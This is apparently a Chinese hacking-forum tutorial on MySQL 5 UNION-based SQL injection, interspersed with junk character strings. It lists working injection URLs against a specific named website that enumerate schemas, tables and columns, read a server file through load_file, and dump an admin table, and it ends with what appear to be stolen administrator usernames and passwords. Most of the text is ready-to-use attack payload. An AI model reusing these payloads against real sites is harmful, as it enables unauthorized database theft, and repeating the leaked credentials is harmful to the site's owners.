此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
% S0 k2 k* e' j8 T但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
' \: y0 J$ F6 x2 p4 w# o( ?1 g! v+ J5 V) `; ~5 t$ V
7 T2 O! ~4 g: l. e0 O a, ~3 h" q优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入7 _7 r4 l! n6 d) |5 ~0 n, D( W- ?
8 q3 H9 d$ g8 D* e7 r3 O% }
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...( G& ~8 @# b$ u Z; h
, s) m# g6 G5 M$ M: f
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
) L! Y+ e0 t6 `2 s在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等/ H; Y. Z& F U, V" `
$ U' n7 k& N' D4 `7 D9 a, {; D- S' D
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
) K, n4 M: y1 b' u
/ e& V Q; | e2 `6 _" d9 p: I读出所有库:! `4 I1 K, o) y9 D! V
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
! ?. h/ y8 h9 \8 Q& [' I; A) K! G$ |# H2 r9 U6 p( o
- x! R! |% `* X+ f8 t0 _4 J6 w% d
$ X/ N8 M; _, B' E( n' c7 n
读出所有表:
7 E4 @( E. v) k7 i0 e& ~5 Uhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
. G9 l0 `3 A/ Y/ ?+ X# o! N
: {& q# L1 E8 d$ _' R! j9 L2 G读出所有表字段:
, A8 {8 N& w: Z \8 o$ `http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)/ X; @/ b5 z; s, }6 I" b' a
*/ (97,100,109,105,110)为admin的ascii码 依次类推
, {; H( {( k9 @. D1 h$ t: j8 l7 @% L6 l! u' d( \
读出所有表字段里的内容:7 J+ D4 W9 ?1 P) m! v' z, ?
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin+ ^* O) D; r( U' E
! c$ G8 _3 k" w& y5 e+ W5 z
+ s3 b! w. s$ N* \
2 b( f$ r+ W. g$ `& l
$ d( S- G! d' N, e9 I4 Q) b1 x8 J0 V( w/ f; v6 d. I
1 w7 H8 e) I) } o) t$ p/ B. Yhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23+ `. s6 G$ O' _) Y3 A. j# I/ p; }1 P
/ a8 t+ Y, c T- i- S! z
W8 h" V- s5 f
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%232 A5 ?) C- @: ^
' n, \" [. K4 [6 v8 y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23/ C# V/ k7 W# ] ~4 ?4 x7 ^. B
! d3 O. I# O+ G. e4 H' |
s! D6 G+ V5 ~% ghttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%233 e, L$ }. D: N: T1 t
& v/ A8 }! y3 {" ^4 S/ ^
$ o% V# ~1 |7 Z* y webmaster:dzb521123,simlab:simadmin20043233
% d! S+ H) i9 c. X( p$ p |